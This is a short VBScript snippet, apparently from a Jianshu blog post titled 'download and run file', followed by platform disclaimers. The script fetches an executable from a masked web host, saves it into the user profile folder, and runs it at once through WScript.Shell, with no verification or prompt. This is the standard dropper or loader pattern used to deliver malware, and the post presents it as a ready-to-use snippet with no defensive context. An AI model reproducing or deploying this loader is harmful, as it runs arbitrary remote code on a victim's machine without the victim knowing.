Sub download(url,target)
set fso=createobject("scripting.filesystemobject")
If fso.FileExists(target) Then fso.deleteFile target
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.XMLHTTP")
http.open "GET",url,False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile target
ado.Close
End Sub
Set oShell=CreateObject("WScript.SHELL")
Fl_path = oShell.ExpandEnvironmentStrings("%userprofile%") & "\IT_V2.exe"
download "http://xxx.xxxx.com/IT_V2.exe",Fl_path
oShell.RUN Fl_path
下载并运行文件.vbs
最后编辑于 :
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。